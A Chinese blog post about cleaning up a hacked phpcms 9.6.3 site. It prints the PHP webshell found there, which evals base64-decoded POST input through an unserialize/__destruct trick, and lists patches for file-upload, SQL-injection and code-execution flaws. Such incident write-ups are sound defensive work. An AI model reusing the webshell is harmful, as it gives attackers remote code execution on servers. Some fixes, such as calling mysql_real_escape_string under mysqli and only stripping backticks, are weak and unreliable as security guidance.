home > php > phpcms >

漏洞列表:phpcms 9.6.3 木馬文件注入,任意文件上傳等漏洞修復

Author:zhoulujun Date:

發現網站注入了n多的php文件,分析發現phpcms 即使從9 6 0升級到9 6 3,還是有很多漏洞。修復方法羅列一下。phpcms已經死了很久。還是得換一個系統,如react+json,seo才渲染下html。還可以節約資源

今天發現網站注入了n多的php文件,網站運營后,一直沒有怎么去管它,至今釀成大禍。分析發現,原來上傳文件,沒有做過濾。

微信圖片_20191110193234.png

在PHPCMS一些漏洞修復及解決方案

里面代碼大致如下,

<?php
    class A{
            var $test = "demo";
            function __destruct(){
                    @eval($this->test);
            }
    }
    $test = base64_decode($_POST['guige']);
    $len = strlen($test)+1;
    $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
    $test_unser = unserialize($pp);
    ?>

文件上傳下載漏洞修復

原來 phpcms\libs\classes\attachment.class.php,這個文件漏洞不少,

在144行位置:導致getshell修復方案

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png|svg', $absurl = '', $basehref = '')
{
   global $image_d;
   $this->att_db = pc_base::load_model('attachment_model');
   $upload_url = pc_base::load_config('system','upload_url');
   $this->field = $field;
       // 此處增加類型的判斷
       if($ext !== 'gif|jpg|jpeg|bmp|png'){
           if(!in_array(strtoupper($ext),array('JPG','GIF','BMP','PNG','JPEG'))) exit('附加擴展名必須為gif、jpg、jpeg、bmp、png');
       }

在164行位置:

foreach($remotefileurls as $k=>$file) {
   if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
   $filename = fileext($file);
   // 此處增加類型的判斷
   if(!preg_match("/($ext)/is",$filename) || in_array($filename, array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
      continue;
   }

注入漏洞

/phpcms/modules/poster/poster.php 文件中,未對輸入參數$_GET['group']進行嚴格過濾,導致注入漏洞。

//如果設置了按地區或者按ip分類
if ($_GET['group']) {
       // $group = " `".$_GET['group']."`";
       // 未對輸入參數$_GET['group']進行嚴格過濾,導致注入漏洞
       $_GET['group'] = preg_replace('#`#', '', $_GET['group']);
       $fields = "*, COUNT(".$_GET['group'].") AS num";
   $order = " `num` DESC";
}

寬字節注入

phpcms\modules\pay\respond.php

phpcmsv9.5.9以后版本開始默認使用mysqli支持,因為代碼邏輯不夠嚴謹,導致寬字節注入

public function respond_get() {
   if ($_GET['code']){
     //$payment = $this->get_by_code($_GET['code']);//因為代碼邏輯不夠嚴謹,導致寬字節注入
     //phpcmsv9.5.9以后版本開始默認使用mysqli支持,mysql_real_escape_string 函數轉義 SQL 語句中使用的字符串中的特殊字符,
     $payment = $this->get_by_code(mysql_real_escape_string($_GET['code']));

任意代碼執行漏洞

phpcms\modules\admin\urlrule.php

全局替換:$this->url_ifok($_POST['info']['urlrule'])

為:$this->url_ifok($_POST['info']['urlrule'], $_POST['info']['ishtml'])

修改函數:url_ifok

public function url_ifok($url, $ishtml){
    $urldb = explode("|",$url);
    foreach($urldb as $key=>$value){
        if(!intval($ishtml) && strpos($value, "index.php") === 0){
            $value = substr($value,'9');
        }
        if( stripos($value, "php") !== false){
            return false;
        }
    }
    return true;
}

現貼到這里吧。

phpcms n年沒有運營了。08年開始弄phpcms 網站,現在也得換一下了。新系統準備用react+json,前端渲染,后臺渲染只給seo 蜘蛛看。

方案完成后,等待github更新吧


轉載本站文章《漏洞列表:phpcms 9.6.3 木馬文件注入,任意文件上傳等漏洞修復》,
請注明出處:http://www.qsexmk.tw/html/php/phpcms/2018_1228_8203.html